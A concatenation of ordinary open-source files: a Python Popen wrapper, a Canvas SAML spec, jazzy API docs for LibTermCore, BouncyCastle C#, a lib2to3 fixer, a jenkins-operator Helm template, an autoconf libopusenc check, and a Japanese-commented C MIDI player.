if character != '.':
break
level += 1
name = _resolve_name(name[level:], package, level)
__import__(name)
return sys.modules[name]
try:
from .packages import simplejson as json
except (ImportError, SyntaxError): # pragma: nocover
import json
class Popen(subprocess.Popen):
"""Patched Popen to prevent opening cmd window on Windows platform."""
def __init__(self, *args, **kwargs):
startupinfo = kwargs.get('startupinfo')
if is_win or True:
try:
startupinfo = startupinfo or subprocess.STARTUPINFO()
startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW
except AttributeError:
pass
kwargs['startupinfo'] = startupinfo
if 'env' not in kwargs:
kwargs['env'] = os.environ.copy()
kwargs['env']['LANG'] = 'en-US' if is_win else 'en_US.UTF-8'
subprocess.Popen.__init__(self, *args, **kwargs)
|
{
"pile_set_name": "Github"
}
|
#
# Copyright (C) 2016 - present Instructure, Inc.
#
# This file is part of Canvas.
#
# Canvas is free software: you can redistribute it and/or modify it under
# the terms of the GNU Affero General Public License as published by the Free
# Software Foundation, version 3 of the License.
#
# Canvas is distributed in the hope that it will be useful, but WITHOUT ANY
# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR
# A PARTICULAR PURPOSE. See the GNU Affero General Public License for more
# details.
#
# You should have received a copy of the GNU Affero General Public License along
# with this program. If not, see <http://www.gnu.org/licenses/>.
#
require_relative '../../../spec_helper'
describe AuthenticationProvider::SAML::MetadataRefresher do
let(:subject) { AuthenticationProvider::SAML::MetadataRefresher }
describe ".refresh_providers" do
before do
allow_any_instance_of(AuthenticationProvider::SAML).to receive(:download_metadata).and_return(nil)
end
let(:saml1) { Account.default.authentication_providers.create!(auth_type: 'saml', metadata_uri: '1') }
it "keeps going even if one fails" do
saml2 = Account.default.authentication_providers.create!(auth_type: 'saml', metadata_uri: '2')
expect(subject).to receive(:refresh_if_necessary).with(saml1.global_id, '1').and_raise('die')
expect(subject).to receive(:refresh_if_necessary).with(saml2.global_id, '2').and_return(false)
expect(::Canvas::Errors).to receive(:capture_exception).once
subject.refresh_providers
end
it "doesn't populate if nothing changed" do
expect(subject).to receive(:refresh_if_necessary).with(saml1.global_id, '1').and_return(false)
expect(saml1).to receive(:populate_from_metadata_xml).never
subject.refresh_providers
end
it "does populate, but doesn't save, if the XML changed, but nothing changes on the model" do
expect(subject).to receive(:refresh_if_necessary).with(saml1.global_id, '1').and_return('xml')
expect_any_instantiation_of(saml1).to receive(:populate_from_metadata_xml).with('xml')
expect_any_instantiation_of(saml1).to receive(:save!).never
subject.refresh_providers
end
it "populates and saves" do
expect(subject).to receive(:refresh_if_necessary).with(saml1.global_id, '1').and_return('xml')
expect_any_instantiation_of(saml1).to receive(:populate_from_metadata_xml).with('xml')
expect_any_instantiation_of(saml1).to receive(:changed?).and_return(true)
expect_any_instantiation_of(saml1).to receive(:save!).once
subject.refresh_providers
end
it "ignores nil/blank metadata_uris" do
AuthenticationProvider::SAML.where(id: saml1.id).update_all(metadata_uri: nil)
Account.default.authentication_providers.create!(auth_type: 'saml', metadata_uri: '')
expect(subject).to receive(:refresh_if_necessary).never
subject.refresh_providers
end
end
describe ".refresh_if_necessary" do
let(:redis) { double("redis") }
before do
allow(Canvas).to receive(:redis_enabled?).and_return(true)
allow(Canvas).to receive(:redis).and_return(redis)
end
it "passes ETag if we know it" do
expect(redis).to receive(:get).and_return("MyETag")
expect(CanvasHttp).to receive(:get).with("url", "If-None-Match" => "MyETag")
subject.send(:refresh_if_necessary, 1, 'url')
end
it "doesn't pass ETag if force_fetch: true" do
expect(redis).to receive(:get).never
expect(CanvasHttp).to receive(:get).with("url", {})
subject.send(:refresh_if_necessary, 1, 'url', force_fetch: true)
end
it "returns false if not modified" do
expect(redis).to receive(:get).and_return("MyETag")
response = double("response")
expect(response).to receive(:is_a?).with(Net::HTTPNotModified).and_return(true)
expect(CanvasHttp).to receive(:get).with("url", "If-None-Match" => "MyETag").and_yield(response)
expect(subject.send(:refresh_if_necessary, 1, 'url')).to eq false
end
it "sets the ETag if provided" do
expect(redis).to receive(:get).and_return(nil)
response = double("response")
expect(response).to receive(:is_a?).with(Net::HTTPNotModified).and_return(false)
expect(response).to receive(:value)
allow(response).to receive(:[]).with('ETag').and_return("NewETag")
expect(redis).to receive(:set).with("saml_1_etag", "NewETag")
expect(response).to receive(:body).and_return("xml")
expect(CanvasHttp).to receive(:get).with("url", {}).and_yield(response)
expect(subject.send(:refresh_if_necessary, 1, 'url')).to eq "xml"
end
end
end
|
{
"pile_set_name": "Github"
}
|
<!DOCTYPE html>
<html lang="en">
<head>
<title>Preferences Structure Reference</title>
<link rel="stylesheet" type="text/css" href="../../css/jazzy.css" />
<link rel="stylesheet" type="text/css" href="../../css/highlight.css" />
<meta charset='utf-8'>
<script src="../../js/jquery.min.js" defer></script>
<script src="../../js/jazzy.js" defer></script>
</head>
<body>
<a name="//apple_ref/swift/Struct/Preferences" class="dashAnchor"></a>
<a title="Preferences Structure Reference"></a>
<header>
<div class="content-wrapper">
<p><a href="../../index.html">LibTermCore Docs</a> (91% documented)</p>
<p class="header-right"><a href="https://github.com/ColdGrub1384/LibTerm"><img src="../../img/gh.png"/>View on GitHub</a></p>
</div>
</header>
<div class="content-wrapper">
<p id="breadcrumbs">
<a href="../../index.html">LibTermCore Reference</a>
<img id="carat" src="../../img/carat.png" />
Preferences Structure Reference
</p>
</div>
<div class="content-wrapper">
<nav class="sidebar">
<ul class="nav-groups">
<li class="nav-group-name">
<a href="../../Classes.html">Classes</a>
<ul class="nav-group-tasks">
<li class="nav-group-task">
<a href="../../Classes/Keys.html">Keys</a>
</li>
<li class="nav-group-task">
<a href="../../Classes/LTIO.html">LTIO</a>
</li>
<li class="nav-group-task">
<a href="../../Classes/LTTerminalTextView.html">LTTerminalTextView</a>
</li>
<li class="nav-group-task">
<a href="../../Classes/LTTerminalViewController.html">LTTerminalViewController</a>
</li>
<li class="nav-group-task">
<a href="../../Classes/LTTerminalViewController/Preferences.html">– Preferences</a>
</li>
<li class="nav-group-task">
<a href="../../Classes/LibShell.html">LibShell</a>
</li>
</ul>
</li>
<li class="nav-group-name">
<a href="../../Global Variables.html">Global Variables</a>
<ul class="nav-group-tasks">
<li class="nav-group-task">
<a href="../../Global Variables.html#/s:11LibTermCore6LTHelpSayAA13LTCommandHelpVGvp">LTHelp</a>
</li>
</ul>
</li>
<li class="nav-group-name">
<a href="../../Extensions.html">Extensions</a>
<ul class="nav-group-tasks">
<li class="nav-group-task">
<a href="../../Extensions/FileHandle.html">FileHandle</a>
</li>
</ul>
</li>
<li class="nav-group-name">
<a href="../../Structs.html">Structures</a>
<ul class="nav-group-tasks">
<li class="nav-group-task">
<a href="../../Structs/LTCommandHelp.html">LTCommandHelp</a>
</li>
<li class="nav-group-task">
<a href="../../Structs/LTCommandHelp/CompletionType.html">– CompletionType</a>
</li>
</ul>
</li>
<li class="nav-group-name">
<a href="../../Typealiases.html">Type Aliases</a>
<ul class="nav-group-tasks">
<li class="nav-group-task">
<a href="../../Typealiases.html#/s:11LibTermCore9LTCommanda">LTCommand</a>
</li>
</ul>
</li>
</ul>
</nav>
<article class="main-content">
<section>
<section class="section">
<h1>Preferences</h1>
<div class="declaration">
<div class="language">
<pre class="highlight swift"><code><span class="kd">public</span> <span class="kd">struct</span> <span class="kt">Preferences</span></code></pre>
</div>
</div>
<p>A structure containing terminal’s UI preferences.</p>
</section>
<section class="section task-group-section">
<div class="task-group">
<ul>
<li class="item">
<div>
<code>
<a name="/s:11LibTermCore24LTTerminalViewControllerC11PreferencesV10CaretStyleO"></a>
<a name="//apple_ref/swift/Enum/CaretStyle" class="dashAnchor"></a>
<a class="token" href="#/s:11LibTermCore24LTTerminalViewControllerC11PreferencesV10CaretStyleO">CaretStyle</a>
</code>
</div>
<div class="height-container">
<div class="pointer-container"></div>
<section class="section">
<div class="pointer"></div>
<div class="abstract">
<p>Caret styles used in the terminal.</p>
<a href="../../Classes/LTTerminalViewController/Preferences/CaretStyle.html" class="slightly-smaller">See more</a>
</div>
<div class="declaration">
<h4>Declaration</h4>
<div class="language">
<p class="aside-title">Swift</p>
<pre class="highlight swift"><code><span class="kd">public</span> <span class="kd">enum</span> <span class="kt">CaretStyle</span> <span class="p">:</span> <span class="kt">Int</span></code></pre>
</div>
</div>
</section>
</div>
</li>
<li class="item">
<div>
<code>
<a name="/s:11LibTermCore24LTTerminalViewControllerC11PreferencesV18keyboardAppearanceSo010UIKeyboardI0Vvp"></a>
<a name="//apple_ref/swift/Property/keyboardAppearance" class="dashAnchor"></a>
<a class="token" href="#/s:11LibTermCore24LTTerminalViewControllerC11PreferencesV18keyboardAppearanceSo010UIKeyboardI0Vvp">keyboardAppearance</a>
</code>
</div>
<div class="height-container">
<div class="pointer-container"></div>
<section class="section">
<div class="pointer"></div>
<div class="abstract">
<p>Terminal’s keyboard appearance.</p>
</div>
<div class="declaration">
<h4>Declaration</h4>
<div class="language">
<p class="aside-title">Swift</p>
<pre class="highlight swift"><code><span class="kd">public</span> <span class="k">var</span> <span class="nv">keyboardAppearance</span><span class="p">:</span> <span class="kt">UIKeyboardAppearance</span></code></pre>
</div>
</div>
</section>
</div>
</li>
<li class="item">
<div>
<code>
<a name="/s:11LibTermCore24LTTerminalViewControllerC11PreferencesV15foregroundColorSo7UIColorCvp"></a>
<a name="//apple_ref/swift/Property/foregroundColor" class="dashAnchor"></a>
<a class="token" href="#/s:11LibTermCore24LTTerminalViewControllerC11PreferencesV15foregroundColorSo7UIColorCvp">foregroundColor</a>
</code>
</div>
<div class="height-container">
<div class="pointer-container"></div>
<section class="section">
<div class="pointer"></div>
<div class="abstract">
<p>Terminal’s foreground color.</p>
</div>
<div class="declaration">
<h4>Declaration</h4>
<div class="language">
<p class="aside-title">Swift</p>
<pre class="highlight swift"><code><span class="kd">public</span> <span class="k">var</span> <span class="nv">foregroundColor</span><span class="p">:</span> <span class="kt">UIColor</span> <span class="p">{</span> <span class="k">get</span> <span class="k">set</span> <span class="p">}</span></code></pre>
</div>
</div>
</section>
</div>
</li>
<li class="item">
<div>
<code>
<a name="/s:11LibTermCore24LTTerminalViewControllerC11PreferencesV15backgroundColorSo7UIColorCvp"></a>
<a name="//apple_ref/swift/Property/backgroundColor" class="dashAnchor"></a>
<a class="token" href="#/s:11LibTermCore24LTTerminalViewControllerC11PreferencesV15backgroundColorSo7UIColorCvp">backgroundColor</a>
</code>
</div>
<div class="height-container">
<div class="pointer-container"></div>
<section class="section">
<div class="pointer"></div>
<div class="abstract">
<p>Terminal’s background color.</p>
</div>
<div class="declaration">
<h4>Declaration</h4>
<div class="language">
<p class="aside-title">Swift</p>
<pre class="highlight swift"><code><span class="kd">public</span> <span class="k">var</span> <span class="nv">backgroundColor</span><span class="p">:</span> <span class="kt">UIColor</span> <span class="p">{</span> <span class="k">get</span> <span class="k">set</span> <span class="p">}</span></code></pre>
</div>
</div>
</section>
</div>
</li>
<li class="item">
<div>
<code>
<a name="/s:11LibTermCore24LTTerminalViewControllerC11PreferencesV8fontSizeSdvp"></a>
<a name="//apple_ref/swift/Property/fontSize" class="dashAnchor"></a>
<a class="token" href="#/s:11LibTermCore24LTTerminalViewControllerC11PreferencesV8fontSizeSdvp">fontSize</a>
</code>
</div>
<div class="height-container">
<div class="pointer-container"></div>
<section class="section">
<div class="pointer"></div>
<div class="abstract">
<p>The terminal’s font size.</p>
</div>
<div class="declaration">
<h4>Declaration</h4>
<div class="language">
<p class="aside-title">Swift</p>
<pre class="highlight swift"><code><span class="kd">public</span> <span class="k">var</span> <span class="nv">fontSize</span><span class="p">:</span> <span class="kt">Double</span> <span class="p">{</span> <span class="k">get</span> <span class="k">set</span> <span class="p">}</span></code></pre>
</div>
</div>
</section>
</div>
</li>
<li class="item">
<div>
<code>
<a name="/s:11LibTermCore24LTTerminalViewControllerC11PreferencesV10caretStyleAE05CaretI0Ovp"></a>
<a name="//apple_ref/swift/Property/caretStyle" class="dashAnchor"></a>
<a class="token" href="#/s:11LibTermCore24LTTerminalViewControllerC11PreferencesV10caretStyleAE05CaretI0Ovp">caretStyle</a>
</code>
</div>
<div class="height-container">
<div class="pointer-container"></div>
<section class="section">
<div class="pointer"></div>
<div class="abstract">
<p>The terminal’s caret style.</p>
</div>
<div class="declaration">
<h4>Declaration</h4>
<div class="language">
<p class="aside-title">Swift</p>
<pre class="highlight swift"><code><span class="kd">public</span> <span class="k">var</span> <span class="nv">caretStyle</span><span class="p">:</span> <span class="kt"><a href="../../Classes/LTTerminalViewController/Preferences/CaretStyle.html">CaretStyle</a></span> <span class="p">{</span> <span class="k">get</span> <span class="k">set</span> <span class="p">}</span></code></pre>
</div>
</div>
</section>
</div>
</li>
<li class="item">
<div>
<code>
<a name="/s:11LibTermCore24LTTerminalViewControllerC11PreferencesV8barStyleSo05UIBarI0Vvp"></a>
<a name="//apple_ref/swift/Property/barStyle" class="dashAnchor"></a>
<a class="token" href="#/s:11LibTermCore24LTTerminalViewControllerC11PreferencesV8barStyleSo05UIBarI0Vvp">barStyle</a>
</code>
</div>
<div class="height-container">
<div class="pointer-container"></div>
<section class="section">
<div class="pointer"></div>
<div class="abstract">
<p>The nav bar’s style.</p>
</div>
<div class="declaration">
<h4>Declaration</h4>
<div class="language">
<p class="aside-title">Swift</p>
<pre class="highlight swift"><code><span class="kd">public</span> <span class="k">var</span> <span class="nv">barStyle</span><span class="p">:</span> <span class="kt">UIBarStyle</span></code></pre>
</div>
</div>
</section>
</div>
</li>
<li class="item">
<div>
<code>
<a name="/s:11LibTermCore24LTTerminalViewControllerC11PreferencesVAEycfc"></a>
<a name="//apple_ref/swift/Method/init()" class="dashAnchor"></a>
<a class="token" href="#/s:11LibTermCore24LTTerminalViewControllerC11PreferencesVAEycfc">init()</a>
</code>
</div>
<div class="height-container">
<div class="pointer-container"></div>
<section class="section">
<div class="pointer"></div>
<div class="abstract">
<p>Undocumented</p>
</div>
<div class="declaration">
<h4>Declaration</h4>
<div class="language">
<p class="aside-title">Swift</p>
<pre class="highlight swift"><code><span class="kd">public</span> <span class="nf">init</span><span class="p">()</span></code></pre>
</div>
</div>
</section>
</div>
</li>
</ul>
</div>
</section>
</section>
<section id="footer">
<p>© 2018 <a class="link" href="" target="_blank" rel="external"></a>. All rights reserved. (Last updated: 2018-11-06)</p>
<p>Generated by <a class="link" href="https://github.com/realm/jazzy" target="_blank" rel="external">jazzy ♪♫ v0.9.4</a>, a <a class="link" href="https://realm.io" target="_blank" rel="external">Realm</a> project.</p>
</section>
</article>
</div>
</body>
</div>
</html>
|
{
"pile_set_name": "Github"
}
|
using System;
using System.Collections;
using Org.BouncyCastle.Asn1.X509;
using Org.BouncyCastle.Utilities;
namespace Org.BouncyCastle.Asn1.X509.Qualified
{
/**
* The SemanticsInformation object.
* <pre>
* SemanticsInformation ::= SEQUENCE {
* semanticsIdentifier OBJECT IDENTIFIER OPTIONAL,
* nameRegistrationAuthorities NameRegistrationAuthorities
* OPTIONAL }
* (WITH COMPONENTS {..., semanticsIdentifier PRESENT}|
* WITH COMPONENTS {..., nameRegistrationAuthorities PRESENT})
*
* NameRegistrationAuthorities ::= SEQUENCE SIZE (1..MAX) OF
* GeneralName
* </pre>
*/
public class SemanticsInformation
: Asn1Encodable
{
private readonly DerObjectIdentifier semanticsIdentifier;
private readonly GeneralName[] nameRegistrationAuthorities;
public static SemanticsInformation GetInstance(
object obj)
{
if (obj == null || obj is SemanticsInformation)
{
return (SemanticsInformation) obj;
}
if (obj is Asn1Sequence)
{
return new SemanticsInformation(Asn1Sequence.GetInstance(obj));
}
throw new ArgumentException("unknown object in GetInstance: " + Platform.GetTypeName(obj), "obj");
}
public SemanticsInformation(
Asn1Sequence seq)
{
if (seq.Count < 1)
{
throw new ArgumentException("no objects in SemanticsInformation");
}
IEnumerator e = seq.GetEnumerator();
e.MoveNext();
object obj = e.Current;
if (obj is DerObjectIdentifier)
{
semanticsIdentifier = DerObjectIdentifier.GetInstance(obj);
if (e.MoveNext())
{
obj = e.Current;
}
else
{
obj = null;
}
}
if (obj != null)
{
Asn1Sequence generalNameSeq = Asn1Sequence.GetInstance(obj );
nameRegistrationAuthorities = new GeneralName[generalNameSeq.Count];
for (int i= 0; i < generalNameSeq.Count; i++)
{
nameRegistrationAuthorities[i] = GeneralName.GetInstance(generalNameSeq[i]);
}
}
}
public SemanticsInformation(
DerObjectIdentifier semanticsIdentifier,
GeneralName[] generalNames)
{
this.semanticsIdentifier = semanticsIdentifier;
this.nameRegistrationAuthorities = generalNames;
}
public SemanticsInformation(
DerObjectIdentifier semanticsIdentifier)
{
this.semanticsIdentifier = semanticsIdentifier;
}
public SemanticsInformation(
GeneralName[] generalNames)
{
this.nameRegistrationAuthorities = generalNames;
}
public DerObjectIdentifier SemanticsIdentifier { get { return semanticsIdentifier; } }
public GeneralName[] GetNameRegistrationAuthorities()
{
return nameRegistrationAuthorities;
}
public override Asn1Object ToAsn1Object()
{
Asn1EncodableVector seq = new Asn1EncodableVector();
if (this.semanticsIdentifier != null)
{
seq.Add(semanticsIdentifier);
}
if (this.nameRegistrationAuthorities != null)
{
seq.Add(new DerSequence(nameRegistrationAuthorities));
}
return new DerSequence(seq);
}
}
}
|
{
"pile_set_name": "Github"
}
|
"""Fixer for operator functions.
operator.isCallable(obj) -> hasattr(obj, '__call__')
operator.sequenceIncludes(obj) -> operator.contains(obj)
operator.isSequenceType(obj) -> isinstance(obj, collections.Sequence)
operator.isMappingType(obj) -> isinstance(obj, collections.Mapping)
operator.isNumberType(obj) -> isinstance(obj, numbers.Number)
operator.repeat(obj, n) -> operator.mul(obj, n)
operator.irepeat(obj, n) -> operator.imul(obj, n)
"""
# Local imports
from lib2to3 import fixer_base
from lib2to3.fixer_util import Call, Name, String, touch_import
def invocation(s):
def dec(f):
f.invocation = s
return f
return dec
class FixOperator(fixer_base.BaseFix):
BM_compatible = True
order = "pre"
methods = """
method=('isCallable'|'sequenceIncludes'
|'isSequenceType'|'isMappingType'|'isNumberType'
|'repeat'|'irepeat')
"""
obj = "'(' obj=any ')'"
PATTERN = """
power< module='operator'
trailer< '.' %(methods)s > trailer< %(obj)s > >
|
power< %(methods)s trailer< %(obj)s > >
""" % dict(methods=methods, obj=obj)
def transform(self, node, results):
method = self._check_method(node, results)
if method is not None:
return method(node, results)
@invocation("operator.contains(%s)")
def _sequenceIncludes(self, node, results):
return self._handle_rename(node, results, u"contains")
@invocation("hasattr(%s, '__call__')")
def _isCallable(self, node, results):
obj = results["obj"]
args = [obj.clone(), String(u", "), String(u"'__call__'")]
return Call(Name(u"hasattr"), args, prefix=node.prefix)
@invocation("operator.mul(%s)")
def _repeat(self, node, results):
return self._handle_rename(node, results, u"mul")
@invocation("operator.imul(%s)")
def _irepeat(self, node, results):
return self._handle_rename(node, results, u"imul")
@invocation("isinstance(%s, collections.Sequence)")
def _isSequenceType(self, node, results):
return self._handle_type2abc(node, results, u"collections", u"Sequence")
@invocation("isinstance(%s, collections.Mapping)")
def _isMappingType(self, node, results):
return self._handle_type2abc(node, results, u"collections", u"Mapping")
@invocation("isinstance(%s, numbers.Number)")
def _isNumberType(self, node, results):
return self._handle_type2abc(node, results, u"numbers", u"Number")
def _handle_rename(self, node, results, name):
method = results["method"][0]
method.value = name
method.changed()
def _handle_type2abc(self, node, results, module, abc):
touch_import(None, module, node)
obj = results["obj"]
args = [obj.clone(), String(u", " + u".".join([module, abc]))]
return Call(Name(u"isinstance"), args, prefix=node.prefix)
def _check_method(self, node, results):
method = getattr(self, "_" + results["method"][0].value.encode("ascii"))
if callable(method):
if "module" in results:
return method
else:
sub = (unicode(results["obj"]),)
invocation_str = unicode(method.invocation) % sub
self.warning(node, u"You should use '%s' here." % invocation_str)
return None
|
{
"pile_set_name": "Github"
}
|
apiVersion: apps/v1
kind: Deployment
metadata:
name: {{ include "jenkins-operator.fullname" . }}
labels:
helm.sh/chart: {{ include "jenkins-operator.chart" . }}
app.kubernetes.io/name: {{ include "jenkins-operator.name" . }}
app.kubernetes.io/managed-by: {{ .Release.Service }}
app.kubernetes.io/instance: {{ .Release.Name }}
app.kubernetes.io/version: {{ .Chart.AppVersion | replace "+" "_" | trunc 63 }}
spec:
replicas: {{ .Values.replicaCount }}
selector:
matchLabels:
app: {{ include "jenkins-operator.name" . }}
release: {{ .Release.Name }}
template:
metadata:
labels:
app: {{ include "jenkins-operator.name" . }}
release: {{ .Release.Name }}
spec:
{{- if .Values.rbac }}
serviceAccountName: {{ include "jenkins-operator.name" . }}
{{- end }}
containers:
- name: {{ .Chart.Name }}
image: "{{ .Values.image.repository }}:{{ .Values.image.tag }}"
imagePullPolicy: {{ .Values.image.pullPolicy }}
command: ["./jenkins-operator"]
args: {{ toJson .Values.args }}
resources:
{{ toYaml .Values.resources | indent 12 }}
{{- with .Values.nodeSelector }}
nodeSelector:
{{ toYaml . | indent 8 }}
{{- end }}
{{- with .Values.affinity }}
affinity:
{{ toYaml . | indent 8 }}
{{- end }}
{{- with .Values.tolerations }}
tolerations:
{{ toYaml . | indent 8 }}
{{- end }}
|
{
"pile_set_name": "Github"
}
|
# Configure paths for libopusenc
# Jean-Marc Valin <jmvalin@jmvalin.ca> 11-12-2017
# Jack Moffitt <jack@icecast.org> 10-21-2000
# Shamelessly stolen from Owen Taylor and Manish Singh
dnl XIPH_PATH_LIBOPUSENC([ACTION-IF-FOUND [, ACTION-IF-NOT-FOUND]])
dnl Test for libopusenc, and define LIBOPUSENC_CFLAGS and LIBOPUSENC_LIBS
dnl
AC_DEFUN([XIPH_PATH_LIBOPUSENC],
[dnl
dnl Get the cflags and libraries
dnl
AC_ARG_WITH(libopusenc,AC_HELP_STRING([--with-libopusenc=PFX],[Prefix where libopusenc is installed (optional)]), libopusenc_prefix="$withval", libopusenc_prefix="")
AC_ARG_WITH(libopusenc-libraries,AC_HELP_STRING([--with-libopusenc-libraries=DIR],[Directory where libopusenc library is installed (optional)]), libopusenc_libraries="$withval", libopusenc_libraries="")
AC_ARG_WITH(libopusenc-includes,AC_HELP_STRING([--with-libopusenc-includes=DIR],[Directory where libopusenc header files are installed (optional)]), libopusenc_includes="$withval", libopusenc_includes="")
AC_ARG_ENABLE(libopusenctest,AC_HELP_STRING([--disable-libopusenctest],[Do not try to compile and run a test libopusenc program]),, enable_libopusenctest=yes)
if test "x$libopusenc_libraries" != "x" ; then
LIBOPUSENC_LIBS="-L$libopusenc_libraries"
elif test "x$libopusenc_prefix" = "xno" || test "x$libopusenc_prefix" = "xyes" ; then
LIBOPUSENC_LIBS=""
elif test "x$libopusenc_prefix" != "x" ; then
LIBOPUSENC_LIBS="-L$libopusenc_prefix/lib"
elif test "x$prefix" != "xNONE" ; then
LIBOPUSENC_LIBS="-L$prefix/lib"
fi
if test "x$libopusenc_prefix" != "xno" ; then
LIBOPUSENC_LIBS="$LIBOPUSENC_LIBS -lopusenc"
fi
if test "x$libopusenc_includes" != "x" ; then
LIBOPUSENC_CFLAGS="-I$libopusenc_includes"
elif test "x$libopusenc_prefix" = "xno" || test "x$libopusenc_prefix" = "xyes" ; then
LIBOPUSENC_CFLAGS=""
elif test "x$libopusenc_prefix" != "x" ; then
LIBOPUSENC_CFLAGS="-I$libopusenc_prefix/include/opus"
elif test "x$prefix" != "xNONE"; then
LIBOPUSENC_CFLAGS="-I$prefix/include/opus"
fi
AC_MSG_CHECKING(for libopusenc)
if test "x$libopusenc_prefix" = "xno" ; then
no_libopusenc="disabled"
enable_libopusenctest="no"
else
no_libopusenc=""
fi
if test "x$enable_libopusenctest" = "xyes" ; then
ac_save_CFLAGS="$CFLAGS"
ac_save_LIBS="$LIBS"
CFLAGS="$CFLAGS $LIBOPUSENC_CFLAGS $OPUS_CFLAGS"
LIBS="$LIBS $LIBOPUSENC_LIBS $OPUS_LIBS"
dnl
dnl Now check if the installed libopusenc is sufficiently new.
dnl
rm -f conf.libopusenctest
AC_TRY_RUN([
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <opusenc.h>
int main ()
{
system("touch conf.libopusenctest");
return 0;
}
],, no_libopusenc=yes,[echo $ac_n "cross compiling; assumed OK... $ac_c"])
CFLAGS="$ac_save_CFLAGS"
LIBS="$ac_save_LIBS"
fi
if test "x$no_libopusenc" = "xdisabled" ; then
AC_MSG_RESULT(no)
ifelse([$2], , :, [$2])
elif test "x$no_libopusenc" = "x" ; then
AC_MSG_RESULT(yes)
ifelse([$1], , :, [$1])
else
AC_MSG_RESULT(no)
if test -f conf.libopusenctest ; then
:
else
echo "*** Could not run libopusenc test program, checking why..."
CFLAGS="$CFLAGS $LIBOPUSENC_CFLAGS"
LIBS="$LIBS $LIBOPUSENC_LIBS"
AC_TRY_LINK([
#include <stdio.h>
#include <opusenc.h>
], [ return 0; ],
[ echo "*** The test program compiled, but did not run. This usually means"
echo "*** that the run-time linker is not finding libopusenc or finding the wrong"
echo "*** version of libopusenc. If it is not finding libopusenc, you'll need to set your"
echo "*** LD_LIBRARY_PATH environment variable, or edit /etc/ld.so.conf to point"
echo "*** to the installed location Also, make sure you have run ldconfig if that"
echo "*** is required on your system"
echo "***"
echo "*** If you have an old version installed, it is best to remove it, although"
echo "*** you may also be able to get things to work by modifying LD_LIBRARY_PATH"],
[ echo "*** The test program failed to compile or link. See the file config.log for the"
echo "*** exact error that occured. This usually means libopusenc was incorrectly installed"
echo "*** or that you have moved libopusenc since it was installed." ])
CFLAGS="$ac_save_CFLAGS"
LIBS="$ac_save_LIBS"
fi
LIBOPUSENC_CFLAGS=""
LIBOPUSENC_LIBS=""
ifelse([$2], , :, [$2])
fi
AC_SUBST(LIBOPUSENC_CFLAGS)
AC_SUBST(LIBOPUSENC_LIBS)
rm -f conf.libopusenctest
])
|
{
"pile_set_name": "Github"
}
|
/* */
/* PBGMIDI.c MIDI管理用関数 */
/* */
/* */
#define PBGMIDI_SOURCE_COMPILE
#include "PBGMIDI.H"
#pragma message(PBGWIN_PBGMIDI_H)
// ローカルな関数 //
static void Mid_GMReset(void);
static BOOL Mid_Init(void);
// さらに?ローカルな関数 //
static WORD ConvWord(WORD data);
static DWORD ConvDWord(DWORD data);
static DWORD GetWaitCount(LPBYTE *data);
static void CALLBACK CBMid_TimeFunc(UINT uID,UINT uMsg,DWORD dwUser,DWORD dw1,DWORD dw2);
static void Mid_Parse(MID_TRACK *track);
static void MidFadeIOFunc(void);
static void Mid_ShortMsg(BYTE d1,BYTE d2,BYTE d3); // ショートメッセージを出力する
// グローバル&名前空間でローカルな変数 //
MID_DEVICE Mid_Dev;
static MID_DATA Mid_Data;
static TIME_DATA Mid_Time;
WORD Mid_PlayTable[16][128]; // スペアナ用
WORD Mid_PlayTable2[16][128]; // レベルメーター用
BYTE Mid_NoteTable[16][128]; // ノート表示用
BYTE Mid_NoteWTable[16][128]; // ノート表示用(2)
BYTE Mid_PanpodTable[16]; // パンポット
BYTE Mid_ExpressionTable[16]; // エクスプレッション
BYTE Mid_VolumeTable[16]; // ボリューム
static BYTE Mid_MulTempo = MID_STDTEMPO;
DWORD Mid_PlayTime = 0;
BOOL Mid_Start(WORD fnmode,WORD plmode)
{
MIDIOUTCAPS caps;
int i;
UINT mret;
// 各変数の初期化 //
Mid_Dev.fnmode = fnmode;
Mid_Dev.plmode = plmode;
Mid_Dev.mp = NULL;
Mid_Dev.nDevice = midiOutGetNumDevs()+1; // 一つだけ多く準備する
Mid_Dev.NowID = -1 + 1; // -1: MIDI_MAPPER
Mid_PlayTime = 0;
// デバイスが存在しないならリターン //
if(Mid_Dev.nDevice)
Mid_Dev.name = (char **)LocalAlloc(LPTR,sizeof(char *)*(Mid_Dev.nDevice));
else{
Mid_Dev.name = NULL;
return FALSE;
}
// デバイス名格納用のメモリ確保&セット //
for(i=0;i<Mid_Dev.nDevice;i++){
midiOutGetDevCaps(i-1,&caps,sizeof(MIDIOUTCAPS));
Mid_Dev.name[i] = (char *)LocalAlloc(LPTR,MAXPNAMELEN);
strcpy(Mid_Dev.name[i],caps.szPname);
}
// 使用できるデバイスを探す(最初がMIDI_MAPPERなのがポイントだ!) //
for(i=0;i<Mid_Dev.nDevice;i++){
Mid_Dev.NowID = i;
mret = midiOutOpen(&Mid_Dev.mp,Mid_Dev.NowID-1,0,0,CALLBACK_NULL);
if(mret==MMSYSERR_NOERROR) return TRUE;
}
// 使用できるデバイスが存在しないとき //
Mid_End();
return FALSE;
}
void Mid_End(void)
{
int i;
Mid_Stop();
Mid_Free();
if(Mid_Dev.mp) midiOutClose(Mid_Dev.mp);
if(Mid_Dev.name){
for(i=0;i<Mid_Dev.nDevice;i++) LocalFree(Mid_Dev.name[i]);
LocalFree(Mid_Dev.name);
Mid_Dev.mp = NULL;
Mid_Dev.name = NULL;
}
Mid_Dev.nDevice = Mid_Dev.NowID = 0;
}
void Mid_Play(void)
{
if(Mid_Data.data==NULL) return;
if(Mid_Dev.state==MIDST_PLAY) return;
Mid_Dev.FadeFlag = 0;
Mid_Dev.MaxVolume = 127;
Mid_Dev.NowVolume = 127;
Mid_Volume(Mid_Dev.NowVolume);
Mid_Init();
switch(Mid_Dev.fnmode){
case(MIDFN_CALLBACK):
Mid_GMReset();
timeGetDevCaps(&Mid_Time.caps,sizeof(TIMECAPS));
timeBeginPeriod(Mid_Time.caps.wPeriodMin);
Mid_Time.delay = 10;
Mid_Time.htimer = timeSetEvent(Mid_Time.delay,Mid_Time.caps.wPeriodMin,
CBMid_TimeFunc,0,TIME_PERIODIC);
break;
case(MIDFN_MIDLOOP):
Mid_GMReset();
break;
default:
return;
}
Mid_Dev.state = MIDST_PLAY;
}
void Mid_Stop(void)
{
int i;
if(Mid_Dev.state==MIDST_STOP) return;
Mid_PlayTime = 0;
Mid_Dev.FadeFlag = 0;
switch(Mid_Dev.fnmode){
case(MIDFN_CALLBACK):
timeKillEvent(Mid_Time.htimer);
